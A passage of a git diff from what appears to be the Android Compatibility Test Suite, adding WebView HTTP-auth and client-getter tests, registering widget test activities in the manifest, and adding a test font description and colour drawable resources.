+            String newUserName = "newuser";
+            webViewDb.setHttpAuthUsernamePassword(host, realm, newUserName, newPassword);
+            result = webViewDb.getHttpAuthUsernamePassword(host, realm);
+            assertNotNull(result);
+            assertEquals(newUserName, result[0]);
+            assertEquals(newPassword, result[1]);
+
+            // the user is set to null, can not change any thing in the future
+            webViewDb.setHttpAuthUsernamePassword(host, realm, null, password);
+            result = webViewDb.getHttpAuthUsernamePassword(host, realm);
+            assertNotNull(result);
+            assertNull(result[0]);
+            assertEquals(password, result[1]);
+
+            webViewDb.setHttpAuthUsernamePassword(host, realm, userName, null);
+            result = webViewDb.getHttpAuthUsernamePassword(host, realm);
+            assertNotNull(result);
+            assertEquals(userName, result[0]);
+            assertEquals(null, result[1]);
+
+            webViewDb.setHttpAuthUsernamePassword(host, realm, null, null);
+            result = webViewDb.getHttpAuthUsernamePassword(host, realm);
+            assertNotNull(result);
+            assertNull(result[0]);
+            assertNull(result[1]);
+
+            webViewDb.setHttpAuthUsernamePassword(host, realm, newUserName, newPassword);
+            result = webViewDb.getHttpAuthUsernamePassword(host, realm);
+            assertNotNull(result);
+            assertEquals(newUserName, result[0]);
+            assertEquals(newPassword, result[1]);
+        } finally {
+            webViewDb.clearHttpAuthUsernamePassword();
+        }
+    }
+
     public void testLoadData() throws Throwable {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -2574,6 +2609,43 @@
         assertTrue(callbackLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
+    @UiThreadTest
+    public void testGetWebViewClient() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        // getWebViewClient should return a default WebViewClient if it hasn't been set yet
+        WebView webView = new WebView(getActivity());
+        WebViewClient client = webView.getWebViewClient();
+        assertNotNull(client);
+        assertTrue(client instanceof WebViewClient);
+
+        // getWebViewClient should return the client after it has been set
+        WebViewClient client2 = new WebViewClient();
+        assertNotSame(client, client2);
+        webView.setWebViewClient(client2);
+        assertSame(client2, webView.getWebViewClient());
+    }
+
+    @UiThreadTest
+    public void testGetWebChromeClient() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        // getWebChromeClient should return null if the client hasn't been set yet
+        WebView webView = new WebView(getActivity());
+        WebChromeClient client = webView.getWebChromeClient();
+        assertNull(client);
+
+        // getWebChromeClient should return the client after it has been set
+        WebChromeClient client2 = new WebChromeClient();
+        assertNotSame(client, client2);
+        webView.setWebChromeClient(client2);
+        assertSame(client2, webView.getWebChromeClient());
+    }
+
     private void savePrintedPage(final PrintDocumentAdapter adapter,
             final ParcelFileDescriptor descriptor, final FutureTask<Boolean> result) {
         adapter.onWrite(new PageRange[] {PageRange.ALL_PAGES}, descriptor,
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java b/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
index 4fa9b4f..b4e4d04 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebView_WebViewTransportTest.java
@@ -16,12 +16,12 @@
 
 package android.webkit.cts;
 
-import android.cts.util.NullWebViewUtils;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.UiThreadTest;
 import android.webkit.WebView;
 import android.webkit.WebView.WebViewTransport;
 
+import com.android.compatibility.common.util.NullWebViewUtils;
 
 public class WebView_WebViewTransportTest
         extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index 3f301be..c6d85c6 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk
@@ -22,10 +22,12 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES += \
-    mockito-target \
+    android-support-test \
+    mockito-target-minus-junit4 \
     android-common \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
+    platform-test-annotations \
     legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 5d41337..f7fa1d4 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -19,6 +19,7 @@
     package="android.widget.cts">
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
     <application android:label="Android TestCase"
             android:icon="@drawable/size_48x48"
             android:maxRecents="1"
@@ -36,6 +37,14 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.AbsoluteLayoutCtsActivity"
+                  android:label="AbsoluteLayoutCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.widget.cts.TwoLineListItemCtsActivity"
             android:label="TwoLineListItemCtsActivity">
             <intent-filter>
@@ -84,6 +93,22 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.ImageSwitcherCtsActivity"
+                  android:label="ImageSwitcherCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.TextSwitcherCtsActivity"
+                  android:label="TextSwitcherCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.widget.cts.SwitchCtsActivity"
                   android:label="SwitchCtsActivity">
             <intent-filter>
@@ -92,9 +117,34 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.SpinnerCtsActivity"
+                  android:label="SpinnerCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.widget.cts.ToolbarCtsActivity"
-            android:theme="@android:style/Theme.Material.Light.NoActionBar"
-            android:label="ToolbarCtsActivity">
+                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
+                  android:label="ToolbarCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.ToolbarWithMarginsCtsActivity"
+                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
+                  android:label="ToolbarWithMarginsCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.ActionMenuViewCtsActivity"
+                  android:label="ActionMenuViewCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -149,6 +199,14 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.AbsSeekBarCtsActivity"
+            android:label="AbsSeekBarCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.widget.cts.ProgressBarCtsActivity"
             android:label="ProgressBarCtsActivity">
             <intent-filter>
@@ -189,8 +247,16 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.widget.cts.ExpandableListSimple"
-            android:label="ExpandableListSimple">
+        <activity android:name="android.widget.cts.ExpandableListBasic"
+                  android:label="ExpandableListBasic">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.ExpandableList"
+                  android:label="ExpandableList">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -222,6 +288,7 @@
         </activity>
 
         <activity android:name="android.widget.cts.PopupWindowCtsActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="PopupWindowCtsActivity"
             android:theme="@style/Theme.PopupWindowCtsActivity">
             <intent-filter>
@@ -247,7 +314,15 @@
         </activity>
 
         <activity android:name="android.widget.cts.ListViewCtsActivity"
-            android:label="ListViewCtsActivity">
+                  android:label="ListViewCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.ListViewFixedCtsActivity"
+                  android:label="ListViewFixedCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -255,9 +330,19 @@
         </activity>
 
         <activity android:name="android.widget.cts.TextViewCtsActivity"
-            android:label="TextViewCtsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden">
+                  android:label="TextViewCtsActivity"
+                  android:screenOrientation="nosensor"
+                  android:windowSoftInputMode="stateAlwaysHidden">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.EditTextCtsActivity"
+                  android:label="EditTextCtsActivity"
+                  android:screenOrientation="nosensor"
+                  android:windowSoftInputMode="stateAlwaysHidden">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -280,14 +365,6 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.widget.cts.ViewGroupCtsActivity"
-            android:label="WidgetViewGroupCtsActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
         <activity android:name="android.widget.cts.VideoViewCtsActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="VideoViewCtsActivity">
@@ -381,16 +458,88 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.widget.cts.TimePickerDialogCtsActivity"
-                  android:label="TimePickerDialogCtsActivity">
+        <activity android:name="android.widget.cts.CalendarViewCtsActivity"
+                  android:label="CalendarViewCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
             </intent-filter>
         </activity>
 
-        <activity android:name="android.widget.cts.CalendarViewCtsActivity"
-                  android:label="CalendarViewCtsActivity">
+        <activity android:name="android.widget.cts.DatePickerCtsActivity"
+                  android:label="DatePickerCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.SearchViewCtsActivity"
+                  android:label="SearchViewCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.ImageButtonCtsActivity"
+                  android:label="ImageButtonCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.NumberPickerCtsActivity"
+                  android:label="NumberPickerCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.CheckBoxCtsActivity"
+                  android:label="CheckBoxCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.CompoundButtonCtsActivity"
+                  android:label="CompoundButtonCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.RadioButtonCtsActivity"
+                  android:label="RadioButtonCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.ToggleButtonCtsActivity"
+                  android:label="ToggleButtonCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.TimePickerCtsActivity"
+                  android:label="TimePickerCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.widget.cts.RadioGroupCtsActivity"
+                  android:label="RadioGroupCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -414,6 +563,24 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.PointerIconCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <receiver android:name="android.widget.cts.appwidget.MyAppWidgetProvider" >
+            <intent-filter>
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+            </intent-filter>
+            <meta-data android:name="android.appwidget.provider"
+                       android:resource="@xml/remoteviews_appwidget_info" />
+        </receiver>
+
+        <service android:name="android.widget.cts.appwidget.MyAppWidgetService"
+                 android:permission="android.permission.BIND_REMOTEVIEWS"
+                 android:exported="false" />
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index d0cb110..f84c222 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Widget test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWidgetTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/widget/assets/multiaxis.ttf b/tests/tests/widget/assets/multiaxis.ttf
new file mode 100644
index 0000000..606f555
--- /dev/null
+++ b/tests/tests/widget/assets/multiaxis.ttf
Binary files differ
diff --git a/tests/tests/widget/assets/multiaxis.ttx b/tests/tests/widget/assets/multiaxis.ttx
new file mode 100644
index 0000000..5b31644
--- /dev/null
+++ b/tests/tests/widget/assets/multiaxis.ttx
@@ -0,0 +1,246 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <!-- The 'id' attribute is only for humans; it is ignored when parsed. -->
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <!-- Most of this table will be recalculated by the compiler -->
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0xaf28220f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Wed Sep  9 08:01:17 2015"/>
+    <modified value="Tue Dec  8 03:58:55 2015"/>
+    <xMin value="0"/>
+    <yMin value="0"/>
+    <xMax value="0"/>
+    <yMax value="0"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <indexToLocFormat value="0"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <advanceWidthMax value="500"/>
+    <minLeftSideBearing value="0"/>
+    <minRightSideBearing value="0"/>
+    <xMaxExtent value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+    <numberOfHMetrics value="1"/>
+  </hhea>
+
+  <maxp>
+    <!-- Most of this table will be recalculated by the compiler -->
+    <tableVersion value="0x10000"/>
+    <numGlyphs value="7"/>
+    <maxPoints value="0"/>
+    <maxContours value="0"/>
+    <maxCompositePoints value="0"/>
+    <maxCompositeContours value="0"/>
+    <maxZones value="2"/>
+    <maxTwilightPoints value="12"/>
+    <maxStorage value="28"/>
+    <maxFunctionDefs value="119"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="61"/>
+    <maxSizeOfInstructions value="2967"/>
+    <maxComponentElements value="0"/>
+    <maxComponentDepth value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="97"/>
+    <usLastCharIndex value="65535"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+
+    <!-- The xMin, yMin, xMax and yMax values
+         will be recalculated by the compiler. -->
+
+    <TTGlyph name=".notdef"/><!-- contains no outline data -->
+
+    <TTGlyph name="a"/><!-- contains no outline data -->
+  </glyf>
+
+  <fvar>
+    <Axis>
+      <AxisTag>aaaa</AxisTag>
+      <MinValue>-1.0</MinValue>
+      <DefaultValue>0.0</DefaultValue>
+      <MaxValue>1.0</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+    <Axis>
+      <AxisTag>BBBB</AxisTag>
+      <MinValue>-1.0</MinValue>
+      <DefaultValue>0.0</DefaultValue>
+      <MaxValue>1.0</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+    <Axis>
+      <AxisTag>a b </AxisTag>
+      <MinValue>-1.0</MinValue>
+      <DefaultValue>0.0</DefaultValue>
+      <MaxValue>1.0</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+    <Axis>
+      <AxisTag> C D</AxisTag>
+      <MinValue>-1.0</MinValue>
+      <DefaultValue>0.0</DefaultValue>
+      <MaxValue>1.0</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+  </fvar>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFontTest-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFontTest-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="2.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-166"/>
+    <underlineThickness value="20"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+    <psNames>
+      <!-- This file uses unique glyph names based on the information
+           found in the 'post' table. Since these names might not be unique,
+           we have to invent artificial names in case of clashes. In order to
+           be able to retain the original information, we need a name to
+           ps name mapping for those cases where they differ. That's what
+           you see below.
+            -->
+    </psNames>
+    <extraNames>
+      <!-- following are the name that are not taken from the standard Mac glyph order -->
+      <psName name="BombEmoji"/>
+    </extraNames>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/widget/res/drawable/blue_fill.xml b/tests/tests/widget/res/drawable/blue_fill.xml
index 5a24f08..383e7db 100644
--- a/tests/tests/widget/res/drawable/blue_fill.xml
+++ b/tests/tests/widget/res/drawable/blue_fill.xml
@@ -17,5 +17,5 @@
 <shape
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:shape="rectangle">
-    <solid android:color="#0000FF" />
+    <solid android:color="#00F" />
 </shape>
\ No newline at end of file
diff --git a/tests/tests/widget/res/drawable/green_fill.xml b/tests/tests/widget/res/drawable/green_fill.xml
new file mode 100644
index 0000000..76c1101
--- /dev/null
+++ b/tests/tests/widget/res/drawable/green_fill.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<shape
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <solid android:color="#0F0" />
+</shape>
\ No newline at end of file
diff --git a/tests/tests/widget/res/drawable/linear_layout_divider_magenta.xml b/tests/tests/widget/res/drawable/linear_layout_divider_magenta.xml
new file mode 100644
index 0000000..2dbd654
--- /dev/null
+++ b/tests/tests/widget/res/drawable/linear_layout_divider_magenta.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<shape
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <solid
+        android:color="#F0F" />
+    <size
+        android:width="@dimen/linear_layout_divider_size"
+        android:height="@dimen/linear_layout_divider_size" />
+</shape>
\ No newline at end of file
diff --git a/tests/tests/widget/res/drawable/linear_layout_divider_red.xml b/tests/tests/widget/res/drawable/linear_layout_divider_red.xml
new file mode 100644
index 0000000..56e88ef
--- /dev/null
+++ b/tests/tests/widget/res/drawable/linear_layout_divider_red.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<shape
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <solid
+        android:color="#F00" />
+    <size
+        android:width="@dimen/linear_layout_divider_size"
+        android:height="@dimen/linear_layout_divider_size" />
+</shape>
\ No newline at end of file
diff --git a/tests/tests/widget/res/drawable/magenta_fill.xml b/tests/tests/widget/res/drawable/magenta_fill.xml
index cbb594f..8b6da76 100644
--- a/tests/tests/widget/res/drawable/magenta_fill.xml
+++ b/tests/tests/widget/res/drawable/magenta_fill.xml
@@ -17,5 +17,5 @@
 <shape
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:shape="rectangle">
-    <solid android:color="#FF00FF" />
+    <solid android:color="#F0F" />
 </shape>
\ No newline at end of file
diff --git a/tests/tests/widget/res/drawable/red_fill.xml b/tests/tests/widget/res/drawable/red_fill.xml
index e443240..8baf5b6 100644
--- a/tests/tests/widget/res/drawable/red_fill.xml
+++ b/tests/tests/widget/res/drawable/red_fill.xml
@@ -17,5 +17,5 @@
 <shape
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:shape="rectangle">
-    <solid android:color="#8F00" />
+    <solid android:color="#F00" />
 </shape>
\ No newline at end of file
diff --git a/tests/tests/widget/res/drawable/red_translucent_fill.xml b/tests/tests/widget/res/drawable/red_translucent_fill.xml
new file mode 100644
index 0000000..edfbfa0
--- /dev/null
+++ b/tests/tests/widget/res/drawable/red_translucent_fill.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<shape
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <solid android:color="#80FF0000" />
+</shape>
\ No newline at end of file
diff --git a/tests/tests/widget/res/drawable/yellow_fill.xml b/tests/tests/widget/res/drawable/yellow_fill.xml
index 3bd8097..44f88c4 100644
--- a/tests/tests/widget/res/drawable/yellow_fill.xml
+++ b/tests/tests/widget/res/drawable/yellow_fill.xml
@@ -17,5 +17,5 @@
 <shape
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:shape="rectangle">
-    <solid android:color="#FFFF00" />
+    <solid android:color="#FF0" />
 </shape>
\ No newline at end of file
diff --git a/tests/tests/widget/res/font/samplefont.ttf b/tests/tests/widget/res/font/samplefont.ttf
new file mode 100644
index 0000000..49f1c62
